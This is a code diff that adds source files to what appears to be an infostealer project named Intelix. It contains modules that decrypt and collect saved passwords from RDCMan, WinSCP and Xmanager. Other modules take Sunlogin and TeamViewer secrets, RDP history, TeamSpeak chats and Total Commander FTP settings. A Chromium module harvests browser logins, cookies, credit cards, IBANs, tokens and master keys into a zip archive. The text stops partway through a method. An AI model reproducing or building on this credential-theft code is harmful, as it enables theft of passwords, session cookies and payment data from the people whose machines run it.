xmlNodeList = xmlDocument.SelectNodes("//FilesToOpen"); + if (xmlNodeList != null) + { + foreach (XmlNode item in xmlNodeList) + { + string innerText = item.InnerText; + if (!string.IsNullOrEmpty(innerText) && !list.Contains(innerText)) + { + list.Add(innerText); + } + } + } + if (!list.Any()) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "RDCMan"; + StringBuilder stringBuilder = new StringBuilder(); + foreach (string item2 in list) + { + if (!File.Exists(item2)) + { + continue; + } + string text = "RDCMan\\" + Path.GetFileName(item2); + zip.AddFile(text, File.ReadAllBytes(item2)); + counterApplications.Files.Add(item2 + " => " + text); + XmlDocument xmlDocument2 = new XmlDocument(); + xmlDocument2.LoadXml(File.ReadAllText(item2)); + XmlNodeList xmlNodeList2 = xmlDocument2.SelectNodes("//server"); + if (xmlNodeList2 == null || xmlNodeList2.Count == 0) + { + continue; + } + stringBuilder.AppendLine("SourceFile: " + item2); + stringBuilder.AppendLine($"Found servers: {xmlNodeList2.Count}"); + stringBuilder.AppendLine(); + foreach (XmlNode item3 in xmlNodeList2) + { + string text2 = string.Empty; + string text3 = string.Empty; + string text4 = string.Empty; + string text5 = string.Empty; + string text6 = string.Empty; + foreach (XmlNode item4 in item3) + { + foreach (XmlNode item5 in item4) + { + switch (item5.Name) + { + case "name": + text2 = item5.InnerText; + break; + case "profileName": + text3 = item5.InnerText; + break; + case "userName": + text4 = item5.InnerText; + break; + case "password": + text5 = item5.InnerText; + break; + case "domain": + text6 = item5.InnerText; + break; + } + } + } + if (!string.IsNullOrEmpty(text5)) + { + string text7 = DecryptPassword(text5); + stringBuilder.AppendLine("----"); + stringBuilder.AppendLine("HostName: " + text2); + stringBuilder.AppendLine("ProfileName: " + text3); + stringBuilder.AppendLine("UserName: " + (string.IsNullOrEmpty(text6) ? text4 : (text6 + "\\" + text4))); + stringBuilder.AppendLine("DecryptedPassword: " + text7); + stringBuilder.AppendLine(); + } + } + string text8 = "RDCMan\\" + Path.GetFileName(item2) + "\\credentials.txt"; + zip.AddTextFile(text8, stringBuilder.ToString()); + counterApplications.Files.Add(text8 ?? ""); + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("RDCMan\\"); + counter.Applications.Add(counterApplications); + } + } + + private string DecryptPassword(string password) + { + byte[] array = DpApi.Decrypt(Convert.FromBase64String(password)); + if (array == null) + { + return string.Empty; + } + return Encoding.UTF8.GetString(array).TrimEnd(default(char)); + } +} diff --git a/Intelix.Targets.Applications/Rdp.cs b/Intelix.Targets.Applications/Rdp.cs new file mode 100644 index 0000000..08258e6 --- /dev/null +++ b/Intelix.Targets.Applications/Rdp.cs @@ -0,0 +1,103 @@ +using System; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class Rdp : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "Software\\Microsoft\\Terminal Server Client"; + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); + if (registryKey == null) + { + return; + } + string text2 = "Rdp"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "RDP"; + RegistryKey registryKey2 = registryKey.OpenSubKey("Default"); + if (registryKey2 != null) + { + StringBuilder stringBuilder = new StringBuilder(); + string[] valueNames = registryKey2.GetValueNames(); + foreach (string name in valueNames) + { + try + { + object value = registryKey2.GetValue(name); + if (value != null) + { + stringBuilder.AppendLine(value.ToString()); + } + } + catch + { + } + } + if (stringBuilder.Length > 0) + { + string text3 = text2 + "\\History.txt"; + byte[] bytes = Encoding.UTF8.GetBytes(stringBuilder.ToString() + "\n"); + zip.AddFile(text3.Replace('\\', '/'), bytes); + counterApplications.Files.Add(text + "\\Default => " + text3.Replace('\\', '/')); + } + } + RegistryKey registryKey3 = registryKey.OpenSubKey("Servers"); + if (registryKey3 != null) + { + StringBuilder stringBuilder2 = new StringBuilder(); + string[] valueNames = registryKey3.GetSubKeyNames(); + foreach (string text4 in valueNames) + { + try + { + RegistryKey registryKey4 = registryKey3.OpenSubKey(text4); + if (registryKey4 == null) + { + continue; + } + stringBuilder2.AppendLine(text4 + ":"); + string[] valueNames2 = registryKey4.GetValueNames(); + foreach (string text5 in valueNames2) + { + try + { + object value2 = registryKey4.GetValue(text5); + if (value2 is byte[] array) + { + string text6 = BitConverter.ToString(array).Replace("-", ""); + stringBuilder2.AppendLine(text5 + ": " + text6); + } + else + { + stringBuilder2.AppendLine($"{text5}: {value2}"); + } + } + catch + { + } + } + stringBuilder2.AppendLine(); + } + catch + { + } + } + if (stringBuilder2.Length > 0) + { + string text7 = text2 + "\\Credentials.txt"; + byte[] bytes2 = Encoding.UTF8.GetBytes(stringBuilder2.ToString()); + zip.AddFile(text7.Replace('\\', '/'), bytes2); + counterApplications.Files.Add(text + "\\Servers => " + text7.Replace('\\', '/')); + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/Sunlogin.cs b/Intelix.Targets.Applications/Sunlogin.cs new file mode 100644 index 0000000..63a8ba7 --- /dev/null +++ b/Intelix.Targets.Applications/Sunlogin.cs @@ -0,0 +1,101 @@ +using System; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class Sunlogin : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string name = "SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\Oray SunLogin RemoteClient"; + string name2 = ".DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginGreenInfo"; + string name3 = ".DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginInfo"; + StringBuilder sb = new StringBuilder(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Sunlogin"; + RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name); + RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(name2); + RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey(name3); + if (registryKey != null) + { + string path = Path.Combine(Registry.LocalMachine.OpenSubKey(name).GetValue("InstallLocation").ToString(), "config.ini"); + string text = (File.Exists(path) ? File.ReadAllText(path) : string.Empty); + string fastcode = string.Empty; + string encry_pwd = string.Empty; + string sunlogincode = string.Empty; + if (!string.IsNullOrEmpty(text)) + { + fastcode = Regex.Match(text, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + encry_pwd = Regex.Match(text, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + sunlogincode = Regex.Match(text, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + } + AppendFound("registry_install", path, fastcode, encry_pwd, sunlogincode); + } + else if (registryKey2 != null) + { + string fastcode2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_fastcode").ToString(); + string encry_pwd2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_encry_pwd").ToString(); + string sunlogincode2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_sunlogincode").ToString(); + AppendFound("registry_greeninfo", string.Empty, fastcode2, encry_pwd2, sunlogincode2); + } + else if (registryKey3 != null) + { + string fastcode3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_fastcode").ToString(); + string encry_pwd3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_encry_pwd").ToString(); + string sunlogincode3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_sunlogincode").ToString(); + AppendFound("registry_info", string.Empty, fastcode3, encry_pwd3, sunlogincode3); + } + string path2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Oray", "SunloginClient", "config.ini"); + if (File.Exists(path2)) + { + string input = File.ReadAllText(path2); + string value = Regex.Match(input, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value2 = Regex.Match(input, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value3 = Regex.Match(input, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + AppendFound("programdata", path2, value, value2, value3); + } + string path3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Oray", "SunloginClientLite", "sys_lite_config.ini"); + if (File.Exists(path3)) + { + string input2 = File.ReadAllText(path3); + string value4 = Regex.Match(input2, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value5 = Regex.Match(input2, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value6 = Regex.Match(input2, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + AppendFound("user_roaming", path3, value4, value5, value6); + } + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System).Substring(0, 3) + "\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming\\Oray\\SunloginClient\\sys_config.ini"); + string path4 = "C:\\\\Windows\\\\system32\\\\config\\\\systemprofile\\\\AppData\\\\Roaming\\\\Oray\\\\SunloginClient\\\\sys_config.ini"; + if (File.Exists(path4)) + { + string input3 = File.ReadAllText(path4); + string value7 = Regex.Match(input3, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value8 = Regex.Match(input3, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value9 = Regex.Match(input3, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + AppendFound("systemprofile", path4, value7, value8, value9); + } + if (sb.Length > 0) + { + string text2 = "Sunlogin\\info.txt"; + zip.AddTextFile(text2, sb.ToString()); + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + void AppendFound(string source, string text3, string text4, string text5, string text6) + { + sb.AppendLine("Source: " + source); + if (!string.IsNullOrEmpty(text3)) + { + sb.AppendLine("Path: " + text3); + counterApplications.Files.Add(text3 + " => Sunlogin\\info.txt"); + } + sb.AppendLine("Fastcode: " + text4); + sb.AppendLine("Encry_pwd: " + text5); + sb.AppendLine("Sunlogincode: " + text6); + sb.AppendLine(); + } + } +} diff --git a/Intelix.Targets.Applications/TeamSpeak.cs b/Intelix.Targets.Applications/TeamSpeak.cs new file mode 100644 index 0000000..4ae81de --- /dev/null +++ b/Intelix.Targets.Applications/TeamSpeak.cs @@ -0,0 +1,92 @@ +using System; +using System.IO; +using System.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class TeamSpeak : ITarget +{ + private readonly bool _collectChannelChats = true; + + private readonly bool _collectServerLogs = true; + + private readonly long _minFileSize = 50L; + + public void Collect(InMemoryZip zip, Counter counter) + { + string text = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "TeamSpeak 3 Client"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "TeamSpeak 3 Client") + }.FirstOrDefault(Directory.Exists); + if (string.IsNullOrEmpty(text)) + { + return; + } + string path = Path.Combine(text, "config", "chats"); + if (!Directory.Exists(path)) + { + return; + } + string[] directories = Directory.GetDirectories(path); + if (directories == null || directories.Length == 0) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "TeamSpeak"; + int num = 1; + string[] array = directories; + for (int i = 0; i < array.Length; i++) + { + string[] array2 = Directory.EnumerateFiles(array[i], "*.txt", SearchOption.TopDirectoryOnly).Where(delegate(string f) + { + string fileName = Path.GetFileName(f); + if (string.IsNullOrEmpty(fileName)) + { + return false; + } + if (!_collectChannelChats && fileName.StartsWith("channel", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + if (!_collectServerLogs && fileName.StartsWith("server", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + try + { + return new FileInfo(f).Length >= _minFileSize; + } + catch + { + return false; + } + }).ToArray(); + if (array2.Length == 0) + { + continue; + } + string[] array3 = array2; + foreach (string text2 in array3) + { + try + { + string text3 = $"TeamSpeak\\{num}\\" + Path.GetFileName(text2); + zip.AddFile(text3, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text3); + } + catch + { + } + } + num++; + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("TeamSpeak\\"); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/TeamViewer.cs b/Intelix.Targets.Applications/TeamViewer.cs new file mode 100644 index 0000000..d922218 --- /dev/null +++ b/Intelix.Targets.Applications/TeamViewer.cs @@ -0,0 +1,33 @@ +using System.Collections.Generic; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class TeamViewer : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new List(); + using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\TeamViewer")) + { + list.AddRange(RegistryParser.ParseKey(key)); + } + using (RegistryKey key2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\TeamViewer", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key2)); + } + if (list.Any()) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "TeamViewer"; + string text = "TeamViewer\\Registry.txt"; + zip.AddTextFile(text, string.Join("\n", list)); + counterApplications.Files.Add("SOFTWARE\\TeamViewer => " + text); + counterApplications.Files.Add(text); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/TotalCommander.cs b/Intelix.Targets.Applications/TotalCommander.cs new file mode 100644 index 0000000..0a76c90 --- /dev/null +++ b/Intelix.Targets.Applications/TotalCommander.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class TotalCommander : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "GHISLER", "wcx_ftp.ini"); + if (File.Exists(text)) + { + string text2 = "Total Commander\\wcx_ftp.ini"; + zip.AddFile(text2, File.ReadAllBytes(text)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Total Commander"; + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/WinSCP.cs b/Intelix.Targets.Applications/WinSCP.cs new file mode 100644 index 0000000..c8f1aff --- /dev/null +++ b/Intelix.Targets.Applications/WinSCP.cs @@ -0,0 +1,125 @@ +using System.Collections.Generic; +using System.Linq; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class WinSCP : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new List(); + List list2 = new List(); + try + { + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Martin Prikryl\\WinSCP 2\\Sessions"); + if (registryKey == null) + { + return; + } + string[] subKeyNames = registryKey.GetSubKeyNames(); + foreach (string text in subKeyNames) + { + string text2 = "Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + text; + using RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(text2); + if (registryKey2 != null) + { + string text3 = registryKey2.GetValue("HostName")?.ToString(); + if (!string.IsNullOrWhiteSpace(text3)) + { + string text4 = registryKey2.GetValue("UserName")?.ToString(); + string pass = registryKey2.GetValue("Password")?.ToString(); + string text5 = DecryptPassword(text4, pass, text3); + string text6 = registryKey2.GetValue("PortNumber")?.ToString(); + list.Add("Session: " + text + "\nUrl: " + text3 + ":" + text6 + "\nUsername: " + text4 + "\nPassword: " + text5); + list2.Add("HKEY_CURRENT_USER\\" + text2); + } + } + } + } + catch + { + } + if (list.Count <= 0) + { + return; + } + string text7 = "FTP/WinSCP/Sessions.txt"; + zip.AddTextFile(text7, string.Join("\n\n", list)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "WinSCP"; + foreach (string item in list2) + { + counterApplications.Files.Add(item + " => " + text7); + } + counterApplications.Files.Add(text7); + counter.Applications.Add(counterApplications); + } + + private static int DecryptNextChar(List charList) + { + return 0xFF ^ ((((int.Parse(charList[0]) << 4) + int.Parse(charList[1])) ^ 0xA3) & 0xFF); + } + + private static string DecryptPassword(string user, string pass, string host) + { + if (string.IsNullOrEmpty(user) || string.IsNullOrEmpty(pass) || string.IsNullOrEmpty(host)) + { + return ""; + } + try + { + List list = pass.Select((char c) => c.ToString()).ToList(); + List list2 = new List(); + foreach (string item in list) + { + switch (item) + { + case "A": + list2.Add("10"); + break; + case "B": + list2.Add("11"); + break; + case "C": + list2.Add("12"); + break; + case "D": + list2.Add("13"); + break; + case "E": + list2.Add("14"); + break; + case "F": + list2.Add("15"); + break; + default: + list2.Add(item); + break; + } + } + if (DecryptNextChar(list2) == 255) + { + DecryptNextChar(list2); + } + list2.RemoveRange(0, 4); + int num = DecryptNextChar(list2); + list2.RemoveRange(0, 2); + int count = DecryptNextChar(list2) * 2; + list2.RemoveRange(0, count); + string text = ""; + for (int num2 = 0; num2 < num; num2++) + { + text += (char)DecryptNextChar(list2); + list2.RemoveRange(0, 2); + } + string oldValue = user + host; + return text.Replace(oldValue, ""); + } + catch + { + return ""; + } + } +} diff --git a/Intelix.Targets.Applications/Xmanager.cs b/Intelix.Targets.Applications/Xmanager.cs new file mode 100644 index 0000000..330c4bf --- /dev/null +++ b/Intelix.Targets.Applications/Xmanager.cs @@ -0,0 +1,136 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Security.Principal; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class Xmanager : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + WindowsIdentity current = WindowsIdentity.GetCurrent(); + string sid = current.User.ToString(); + DirectoryInfo root = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Personal)); + List source = Search(root); + ConcurrentBag lines = new ConcurrentBag(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Xmanager"; + Parallel.ForEach(source, delegate(string sessionFile) + { + List list = ReadConfigFile(sessionFile); + if (list.Count >= 4) + { + string text2 = list[0]?.Trim() ?? ""; + string text3 = list[1] ?? ""; + string text4 = list[2] ?? ""; + string text5 = list[3] ?? ""; + string text6 = " Version : " + text2 + "\n"; + text6 = text6 + " Host : " + text3 + "\n"; + text6 = text6 + " User : " + text4 + "\n"; + text6 = text6 + " RawPass : " + text5 + "\n"; + string text7 = DecryptToString(text4, sid, text5, text2); + text6 = text6 + " Decrypted: " + text7 + "\n\n"; + lines.Add(text6); + counterApplications.Files.Add(sessionFile + " => Xmanager\\sessions.txt"); + } + }); + if (lines.Any()) + { + string text = "Xmanager\\sessions.txt"; + zip.AddTextFile(text, string.Concat(lines)); + counterApplications.Files.Add(text); + counter.Applications.Add(counterApplications); + } + } + + private List Search(DirectoryInfo root) + { + List list = new List(); + if (!root.Exists) + { + return list; + } + Stack stack = new Stack(); + stack.Push(root); + while (stack.Count > 0) + { + DirectoryInfo directoryInfo = stack.Pop(); + try + { + FileInfo[] files = directoryInfo.GetFiles(); + for (int i = 0; i < files.Length; i++) + { + string fullName = files[i].FullName; + if (fullName.EndsWith(".xsh", StringComparison.OrdinalIgnoreCase) || fullName.EndsWith(".xfp", StringComparison.OrdinalIgnoreCase)) + { + list.Add(fullName); + } + } + DirectoryInfo[] directories = directoryInfo.GetDirectories(); + foreach (DirectoryInfo item in directories) + { + stack.Push(item); + } + } + catch + { + } + } + return list; + } + + private List ReadConfigFile(string path) + { + string input = File.ReadAllText(path); + string value = Regex.Match(input, "Version=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value2 = Regex.Match(input, "Host=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value3 = Regex.Match(input, "UserName=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value4 = Regex.Match(input, "Password=(.*)", RegexOptions.Multiline).Groups[1].Value; + List list = new List { value, value2, value3 }; + if (!string.IsNullOrEmpty(value4) && value4.Length > 3) + { + list.Add(value4); + } + return list; + } + + private string DecryptToString(string username, string sid, string rawPass, string ver) + { + byte[] array = Convert.FromBase64String(rawPass); + byte[] key; + if (ver.StartsWith("5.0") || ver.StartsWith("4") || ver.StartsWith("3") || ver.StartsWith("2")) + { + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes("!X@s#h$e%l^l&")); + } + else if (ver.StartsWith("5.1") || ver.StartsWith("5.2")) + { + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(sid)); + } + else if (ver.StartsWith("5") || ver.StartsWith("6") || ver.StartsWith("7.0")) + { + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(username + sid)); + } + else + { + string s = new string((new string(username.ToCharArray().Reverse().ToArray()) + sid).ToCharArray().Reverse().ToArray()); + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(s)); + } + byte[] array2 = new byte[array.Length - 32]; + Array.Copy(array, 0, array2, 0, array2.Length); + byte[] array3 = RC4Crypt.Decrypt(key, array2); + if (array3 == null) + { + return string.Empty; + } + return Encoding.ASCII.GetString(array3); + } +} diff --git a/Intelix.Targets.Browsers/._CryptoChromium.cs b/Intelix.Targets.Browsers/._CryptoChromium.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Browsers/._CryptoChromium.cs differ diff --git a/Intelix.Targets.Browsers/._CryptoGecko.cs b/Intelix.Targets.Browsers/._CryptoGecko.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Browsers/._CryptoGecko.cs differ diff --git a/Intelix.Targets.Browsers/Chromium.cs b/Intelix.Targets.Browsers/Chromium.cs new file mode 100644 index 0000000..7bd91e7 --- /dev/null +++ b/Intelix.Targets.Browsers/Chromium.cs @@ -0,0 +1,851 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Intelix.Helper.Sql; + +namespace Intelix.Targets.Browsers; + +public class Chromium : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Chromium, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + ProfileCollect(zip, counter, browser, profile); + }); + } + }); + } + + private void ProfileCollect(InMemoryZip zip, Counter counter, string browser, string profile) + { + string localstate = browser + "\\Local State"; + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + byte[] masterv10 = LocalState.MasterKeyV10(localstate); + byte[] masterv20 = LocalState.MasterKeyV20(localstate); + Counter.CounterBrowser counterBrowser = new Counter.CounterBrowser(); + counterBrowser.Profile = profile; + counterBrowser.BrowserName = browsername; + object[][] source = new object[7][] + { + new object[3] + { + "Login Data", + Path.Combine(profile, "Login Data"), + new string[1] { "logins" } + }, + new object[3] + { + "Login Data For Account", + Path.Combine(profile, "Login Data For Account"), + new string[1] { "logins" } + }, + new object[3] + { + "Network Cookies", + Path.Combine(profile, "Network", "Cookies"), + new string[1] { "cookies" } + }, + new object[3] + { + "Cookies", + Path.Combine(profile, "Cookies"), + new string[1] { "cookies" } + }, + new object[3] + { + "Web Data", + Path.Combine(profile, "Web Data"), + new string[5] { "AutoFill", "credit_cards", "token_service", "masked_credit_cards", "masked_ibans" } + }, + new object[3] + { + "Ya Passman Data", + Path.Combine(profile, "Ya Passman Data"), + new string[1] { "logins" } + }, + new object[3] + { + "Ya Credit Cards", + Path.Combine(profile, "Ya Credit Cards"), + new string[1] { "records" } + } + }; + Dictionary> handlers = new Dictionary>(StringComparer.OrdinalIgnoreCase) + { + { + "Login Data/logins", + delegate(SqLite sSqLite) + { + Password(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Login Data For Account/logins", + delegate(SqLite sSqLite) + { + Password(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Cookies/cookies", + delegate(SqLite sSqLite) + { + Cookies(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Network Cookies/cookies", + delegate(SqLite sSqLite) + { + Cookies(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/AutoFill", + delegate(SqLite sSqLite) + { + AutoFill(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/credit_cards", + delegate(SqLite sSqLite) + { + CreditCards(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/token_service", + delegate(SqLite sSqLite) + { + TokenRestore(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/masked_credit_cards", + delegate(SqLite sSqLite) + { + MaskCreditCards(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/masked_ibans", + delegate(SqLite sSqLite) + { + MaskedIbans(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Ya Passman Data/logins", + delegate(SqLite sSqLite) + { + YandexPassword(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Ya Credit Cards/records", + delegate(SqLite sSqLite) + { + YandexGetCard(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + } + }; + Parallel.ForEach(source, delegate(object[] file) + { + string name = (string)file[0]; + string path = (string)file[1]; + string[] source2 = (string[])file[2]; + if (File.Exists(path)) + { + byte[] bytes; + try + { + bytes = File.ReadAllBytes(path); + } + catch + { + return; + } + Parallel.ForEach(source2, delegate(string table) + { + try + { + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable(table); + string key = name + "/" + table; + if (handlers.TryGetValue(key, out var value)) + { + value(sqLite); + } + } + catch + { + } + }); + } + }); + Task.Run(delegate + { + CollectAdditionalData(zip, counterBrowser, browser, profile, profilename, browsername, masterv10, masterv20); + }); + + if ((long)counterBrowser.Cookies != 0L || (long)counterBrowser.Password != 0L || (long)counterBrowser.CreditCards != 0L || (long)counterBrowser.AutoFill != 0L || (long)counterBrowser.RestoreToken != 0L || (long)counterBrowser.MaskCreditCard != 0L || (long)counterBrowser.MaskedIban != 0L) + { + counter.Browsers.Add(counterBrowser); + } + } + + private void CollectAdditionalData(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string browser, string profile, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + try + { + Bookmarks(zip, profile, profilename, browsername); + History(zip, profile, profilename, browsername); + Download(zip, profile, profilename, browsername); + FingerPrint(zip, profile, profilename, browsername); + GoogleAccounts(zip, profile, profilename, browsername, masterv10, masterv20); + MasterKeys(zip, browser, profilename, browsername); + SaveBrowserPath(zip, profile, profilename, browsername); + UA(zip, profile, profilename, browsername); + Version(zip, browser, profilename, browsername); + } + catch + { + } + } + + private void Bookmarks(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string bookmarksPath = Path.Combine(profile, "Bookmarks"); + if (File.Exists(bookmarksPath)) + { + string content = File.ReadAllText(bookmarksPath); + MatchCollection matches = Regex.Matches(content, "\"url\"\\s*:\\s*\"([^\"]+)\"|\"name\"\\s*:\\s*\"([^\"]+)\"", RegexOptions.IgnoreCase); + StringBuilder sb = new StringBuilder(); + string currentUrl = string.Empty; + foreach (Match match in matches) + { + if (match.Groups[1].Success) + { + currentUrl = match.Groups[1].Value; + } + else if (match.Groups[2].Success && !string.IsNullOrEmpty(currentUrl)) + { + sb.AppendLine("URL: " + currentUrl); + sb.AppendLine("Title: " + match.Groups[2].Value); + sb.AppendLine("==============="); + currentUrl = string.Empty; + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/Bookmarks/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void History(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string historyPath = Path.Combine(profile, "History"); + if (File.Exists(historyPath)) + { + byte[] bytes = File.ReadAllBytes(historyPath); + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable("urls"); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + try + { + string url = sqLite.GetValue(i, 1); + if (!string.IsNullOrEmpty(url)) + { + sb.AppendLine(url); + } + } + catch + { + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/History/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void Download(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string historyPath = Path.Combine(profile, "History"); + if (File.Exists(historyPath)) + { + byte[] bytes = File.ReadAllBytes(historyPath); + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable("downloads"); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + try + { + string url = sqLite.GetValue(i, 2); + if (!string.IsNullOrEmpty(url)) + { + sb.AppendLine(url); + } + } + catch + { + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/Download/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void FingerPrint(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string localStatePath = Path.Combine(Path.GetDirectoryName(profile), "Local State"); + if 